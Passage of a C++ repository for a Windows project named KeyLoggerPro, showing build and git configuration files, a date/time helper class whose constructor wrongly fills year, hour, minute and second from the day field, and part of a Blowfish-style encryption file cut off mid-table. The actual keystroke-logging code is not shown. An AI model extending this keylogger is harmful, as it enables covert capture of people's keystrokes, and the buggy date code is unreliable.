├── .gitattributes ├── .gitignore ├── KeyLoggerPro.sln ├── KeyLoggerPro ├── BasicDateTime.cpp ├── BasicDateTime.h ├── Encryption.cpp ├── Encryption.h ├── KeyLoggerPro.cpp ├── KeyLoggerPro.h ├── KeyLoggerPro.ico ├── KeyLoggerPro.rc ├── KeyLoggerPro.vcxproj ├── KeyLoggerPro.vcxproj.filters ├── KeyPair.cpp ├── KeyPair.h ├── Keys.cpp ├── Keys.h ├── Logger.cpp ├── Logger.h ├── Resource.h ├── small.ico ├── stdafx.cpp ├── stdafx.h └── targetver.h ├── LICENSE └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | *.VC.VC.opendb 85 | 86 | # Visual Studio profiler 87 | *.psess 88 | *.vsp 89 | *.vspx 90 | *.sap 91 | 92 | # TFS 2012 Local Workspace 93 | $tf/ 94 | 95 | # Guidance Automation Toolkit 96 | *.gpState 97 | 98 | # ReSharper is a .NET coding add-in 99 | _ReSharper*/ 100 | *.[Rr]e[Ss]harper 101 | *.DotSettings.user 102 | 103 | # JustCode is a .NET coding add-in 104 | .JustCode 105 | 106 | # TeamCity is a build add-in 107 | _TeamCity* 108 | 109 | # DotCover is a Code Coverage Tool 110 | *.dotCover 111 | 112 | # NCrunch 113 | _NCrunch_* 114 | .*crunch*.local.xml 115 | nCrunchTemp_* 116 | 117 | # MightyMoose 118 | *.mm.* 119 | AutoTest.Net/ 120 | 121 | # Web workbench (sass) 122 | .sass-cache/ 123 | 124 | # Installshield output folder 125 | [Ee]xpress/ 126 | 127 | # DocProject is a documentation generator add-in 128 | DocProject/buildhelp/ 129 | DocProject/Help/*.HxT 130 | DocProject/Help/*.HxC 131 | DocProject/Help/*.hhc 132 | DocProject/Help/*.hhk 133 | DocProject/Help/*.hhp 134 | DocProject/Help/Html2 135 | DocProject/Help/html 136 | 137 | # Click-Once directory 138 | publish/ 139 | 140 | # Publish Web Output 141 | *.[Pp]ublish.xml 142 | *.azurePubxml 143 | # TODO: Comment the next line if you want to checkin your web deploy settings 144 | # but database connection strings (with potential passwords) will be unencrypted 145 | *.pubxml 146 | *.publishproj 147 | 148 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 149 | # checkin your Azure Web App publish settings, but sensitive information contained 150 | # in these scripts will be unencrypted 151 | PublishScripts/ 152 | 153 | # NuGet Packages 154 | *.nupkg 155 | # The packages folder can be ignored because of Package Restore 156 | **/packages/* 157 | # except build/, which is used as an MSBuild target. 158 | !**/packages/build/ 159 | # Uncomment if necessary however generally it will be regenerated when needed 160 | #!**/packages/repositories.config 161 | # NuGet v3's project.json files produces more ignoreable files 162 | *.nuget.props 163 | *.nuget.targets 164 | 165 | # Microsoft Azure Build Output 166 | csx/ 167 | *.build.csdef 168 | 169 | # Microsoft Azure Emulator 170 | ecf/ 171 | rcf/ 172 | 173 | # Windows Store app package directories and files 174 | AppPackages/ 175 | BundleArtifacts/ 176 | Package.StoreAssociation.xml 177 | _pkginfo.txt 178 | 179 | # Visual Studio cache files 180 | # files ending in .cache can be ignored 181 | *.[Cc]ache 182 | # but keep track of directories ending in .cache 183 | !*.[Cc]ache/ 184 | 185 | # Others 186 | ClientBin/ 187 | ~$* 188 | *~ 189 | *.dbmdl 190 | *.dbproj.schemaview 191 | *.pfx 192 | *.publishsettings 193 | node_modules/ 194 | orleans.codegen.cs 195 | 196 | # Since there are multiple workflows, uncomment next line to ignore bower_components 197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 198 | #bower_components/ 199 | 200 | # RIA/Silverlight projects 201 | Generated_Code/ 202 | 203 | # Backup & report files from converting an old project file 204 | # to a newer Visual Studio version. Backup files are not needed, 205 | # because we have git ;-) 206 | _UpgradeReport_Files/ 207 | Backup*/ 208 | UpgradeLog*.XML 209 | UpgradeLog*.htm 210 | 211 | # SQL Server files 212 | *.mdf 213 | *.ldf 214 | 215 | # Business Intelligence projects 216 | *.rdl.data 217 | *.bim.layout 218 | *.bim_*.settings 219 | 220 | # Microsoft Fakes 221 | FakesAssemblies/ 222 | 223 | # GhostDoc plugin setting file 224 | *.GhostDoc.xml 225 | 226 | # Node.js Tools for Visual Studio 227 | .ntvs_analysis.dat 228 | 229 | # Visual Studio 6 build log 230 | *.plg 231 | 232 | # Visual Studio 6 workspace options file 233 | *.opt 234 | 235 | # Visual Studio LightSwitch build output 236 | **/*.HTMLClient/GeneratedArtifacts 237 | **/*.DesktopClient/GeneratedArtifacts 238 | **/*.DesktopClient/ModelManifest.xml 239 | **/*.Server/GeneratedArtifacts 240 | **/*.Server/ModelManifest.xml 241 | _Pvt_Extensions 242 | 243 | # Paket dependency manager 244 | .paket/paket.exe 245 | paket-files/ 246 | 247 | # FAKE - F# Make 248 | .fake/ 249 | 250 | # JetBrains Rider 251 | .idea/ 252 | *.sln.iml 253 | -------------------------------------------------------------------------------- /KeyLoggerPro.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "KeyLoggerPro", "KeyLoggerPro\KeyLoggerPro.vcxproj", "{B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Debug|x64.ActiveCfg = Debug|x64 17 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Debug|x64.Build.0 = Debug|x64 18 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Debug|x86.ActiveCfg = Debug|Win32 19 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Debug|x86.Build.0 = Debug|Win32 20 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Release|x64.ActiveCfg = Release|x64 21 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Release|x64.Build.0 = Release|x64 22 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Release|x86.ActiveCfg = Release|Win32 23 | {B2FA46B9-B1E3-4496-91C9-7D6DAB0F12D4}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /KeyLoggerPro/BasicDateTime.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * BasicDateTime.cpp 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.1 - 26/07/2016 6 | */ 7 | 8 | #include "stdafx.h" 9 | #include "BasicDateTime.h" 10 | 11 | namespace KeyLoggerPro { 12 | 13 | BasicDateTime::BasicDateTime(void) { 14 | struct tm* tmInf = new tm(); 15 | 16 | time(&m_DeltaT); 17 | localtime_s(tmInf, &m_DeltaT); 18 | 19 | m_Day = tmInf->tm_mday; 20 | m_Month = tmInf->tm_mon; 21 | m_Year = tmInf->tm_mday; 22 | m_Hour = tmInf->tm_mday; 23 | m_Minute = tmInf->tm_mday; 24 | m_Second = tmInf->tm_mday; 25 | } 26 | 27 | BasicDateTime::BasicDateTime(const short &_day, const short &_month, const short &_year) : 28 | m_Day(_day), m_Month(_month), m_Year(_year) { 29 | m_Hour = m_Minute = m_Second = 0; 30 | } 31 | 32 | BasicDateTime::BasicDateTime(const short &_day, const short &_month, const short &_year, 33 | const short &_hour, const short &_minute, const short &_second) : 34 | m_Day(_day), m_Month(_month), m_Year(_year), 35 | m_Hour(_hour), m_Minute(_minute), m_Second(_second) { } 36 | 37 | BasicDateTime BasicDateTime::now(void) const { 38 | return BasicDateTime(); 39 | } 40 | 41 | std::string BasicDateTime::dateToString(void) const { 42 | std::ostringstream outStream; 43 | 44 | outStream << this->m_Day << "/" << this->m_Month << "/" << this->m_Year << 45 | " " << this->m_Hour << ":" << this->m_Minute << ":" << this->m_Second; 46 | 47 | return outStream.str(); 48 | } 49 | 50 | std::string BasicDateTime::shortDateToString(void) const { 51 | std::ostringstream outStream; 52 | 53 | outStream << this->m_Day << "_" << this->m_Month << "_" << this->m_Year << 54 | "__" << this->m_Hour << "_" << this->m_Minute << "_" << this->m_Second; 55 | 56 | return outStream.str(); 57 | } 58 | 59 | short BasicDateTime::getDay(void) const { 60 | return this->m_Day; 61 | } 62 | 63 | short BasicDateTime::getMonth(void) const { 64 | return this->m_Month; 65 | } 66 | 67 | short BasicDateTime::getYear(void) const { 68 | return this->m_Year; 69 | } 70 | 71 | short BasicDateTime::getHour(void) const { 72 | return this->m_Hour; 73 | } 74 | 75 | short BasicDateTime::getMinute(void) const { 76 | return this->m_Minute; 77 | } 78 | 79 | short BasicDateTime::getSecond(void) const { 80 | return this->m_Second; 81 | } 82 | 83 | void BasicDateTime::setDay(const short &_day) { 84 | this->m_Day = _day; 85 | } 86 | 87 | void BasicDateTime::setMonth(const short &_month) { 88 | this->m_Month = _month; 89 | } 90 | 91 | void BasicDateTime::setYear(const short &_year) { 92 | this->m_Year = _year; 93 | } 94 | 95 | void BasicDateTime::setHour(const short &_hour) { 96 | this->m_Hour = _hour; 97 | } 98 | 99 | void BasicDateTime::setMinute(const short &_minute) { 100 | this->m_Minute = _minute; 101 | } 102 | 103 | void BasicDateTime::setSecond(const short &_second) { 104 | this->m_Second = _second; 105 | } 106 | 107 | } 108 | -------------------------------------------------------------------------------- /KeyLoggerPro/BasicDateTime.h: -------------------------------------------------------------------------------- 1 | /** 2 | * BasicDateTime.h 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.1 - 26/07/2016 6 | */ 7 | 8 | #pragma once 9 | 10 | #include "stdafx.h" 11 | #include 12 | #include 13 | 14 | namespace KeyLoggerPro { 15 | 16 | class BasicDateTime { 17 | 18 | private: 19 | time_t m_DeltaT; 20 | short m_Day; 21 | short m_Month; 22 | short m_Year; 23 | short m_Hour; 24 | short m_Minute; 25 | short m_Second; 26 | 27 | public: 28 | BasicDateTime(void); 29 | BasicDateTime(const short&, const short&, const short&); 30 | BasicDateTime(const short&, const short&, const short&, const short&, const short&, const short&); 31 | 32 | BasicDateTime now(void) const; 33 | std::string dateToString(void) const; 34 | std::string shortDateToString(void) const; 35 | 36 | short getDay(void) const; 37 | short getMonth(void) const; 38 | short getYear(void) const; 39 | short getHour(void) const; 40 | short getMinute(void) const; 41 | short getSecond(void) const; 42 | void setDay(const short&); 43 | void setMonth(const short&); 44 | void setYear(const short&); 45 | void setHour(const short&); 46 | void setMinute(const short&); 47 | void setSecond(const short&); 48 | 49 | }; 50 | 51 | } 52 | -------------------------------------------------------------------------------- /KeyLoggerPro/Encryption.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * Encryption.cpp 3 | * 4 | * @author Raul Butuc 5 | * @version 1.0.1 - 29/07/2016 6 | */ 7 | 8 | #include "stdafx.h" 9 | #include "Encryption.h" 10 | #include 11 | #include 12 | 13 | namespace KeyLoggerPro { 14 | 15 | Block::Block(unsigned int l = 0, unsigned int r = 0) : m_uil(l), m_uir(r) { } 16 | 17 | Block::Block(const Block &_block) : m_uil(_block.m_uil), m_uir(_block.m_uir) { } 18 | 19 | Block& Block::operator^=(Block &_block) { 20 | m_uil ^= _block.m_uil; 21 | m_uir ^= _block.m_uir; 22 | return *this; 23 | } 24 | 25 | const unsigned int Encryption::scm_auiInitP[18] = { 26 | 0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, 27 | 0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89, 28 | 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c, 29 | 0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917, 30 | 0x9216d5d9, 0x8979fb1b 31 | }; 32 | 33 | const unsigned int Encryption::scm_auiInitS[4][256] = { 34 | { 0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7, 35 | 0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99, 36 | 0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16, 37 | 0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e, 38 | 0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee, 39 | 0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013, 40 | 0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef, 41 | 0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e, 42 | 0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60, 43 | 0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440, 44 | 0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce, 45 | 0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a, 46 | 0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e, 47 | 0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677, 48 | 0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193, 49 | 0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032, 50 | 0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88, 51 | 0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239, 52 | 0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e, 53 | 0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0, 54 | 0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3, 55 | 0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98, 56 | 0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88, 57 | 0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe, 58 | 0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6, 59 | 0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d, 60 | 0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b, 61 | 0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7, 62 | 0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba, 63 | 0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463, 64 | 0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f, 65 | 0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09, 66 | 0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3, 67 | 0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb, 68 | 0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279, 69 | 0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8, 70 | 0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab, 71 | 0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82, 72 | 0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db, 73 | 0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573, 74 | 0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0, 75 | 0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b, 76 | 0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790, 77 | 0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8, 78 | 0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4, 79 | 0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0, 80 | 0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7, 81 | 0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c, 82 | 0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad, 83 | 0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1, 84 | 0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299, 85 | 0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9, 86 | 0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477, 87 | 0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf, 88 | 0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49, 89 | 0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af, 90 | 0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa, 91 | 0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5, 92 | 0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41, 93 | 0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915, 94 | 0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400, 95 | 0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915, 96 | 0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664, 97 | 0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a }, 98 | 99 | { 0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623, 100 | 0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266, 101 | 0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1, 102 | 0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e, 103 | 0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6, 104 | 0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1, 105 | 0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e, 106 | 0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1, 107 | 0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737, 108 | 0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8, 109 | 0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff, 110 | 0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd, 111 | 0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701, 112 | 0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7, 113 | 0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41, 114 | 0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331, 115 | 0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf, 116 | 0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af, 117 | 0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e, 118 | 0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87, 119 | 0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c, 120 | 0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2, 121 | 0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16, 122 | 0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd, 123 | 0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b, 124 | 0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509, 125 | 0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e, 126 | 0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3, 127 | 0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f, 128 | 0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a, 129 | 0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4, 130 | 0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960, 131 | 0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66, 132 | 0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28, 133 | 0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802, 134 | 0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84, 135 | 0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510, 136 | 0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf, 137 | 0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14, 138 | 0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e, 139 | 0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50, 140 | 0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7, 141 | 0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8, 142 | 0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281, 143 | 0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99, 144 | 0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696, 145 | 0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128, 146 | 0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73, 147 | 0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0, 148 | 0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0, 149 | 0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105, 150 | 0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250, 151 | 0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3, 152 | 0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285, 153 | 0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00, 154 | 0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061, 155 | 0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb, 156 | 0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e, 157 | 0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735, 158 | 0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc, 159 | 0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9, 160 | 0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340, 161 | 0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20, 162 | 0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7 }, 163 | 164 | { 0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934, 165 | 0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068, 166 | 0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af, 167 | 0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840, 168 | 0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45, 169 | 0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504, 170 | 0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a, 171 | 0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb, 172 | 0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee, 173 | 0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6, 174 | 0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42, 175 | 0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b, 176 | 0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2, 177 | 0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb, 178 | 0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527, 179 | 0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b, 180 | 0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33, 181 | 0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c, 182 | 0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3, 183 | 0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc, 184 | 0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17, 185 | 0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564, 186 | 0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b, 187 | 0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115, 188 | 0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922, 189 | 0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728, 190 | 0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0, 191 | 0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e, 192 | 0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37, 193 | 0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d, 194 | 0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804, 195 | 0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b, 196 | 0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3, 197 | 0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb, 198 | 0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d, 199 | 0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c, 200 | 0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350, 201 | 0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9, 202 | 0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a, 203 | 0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe, 204 | 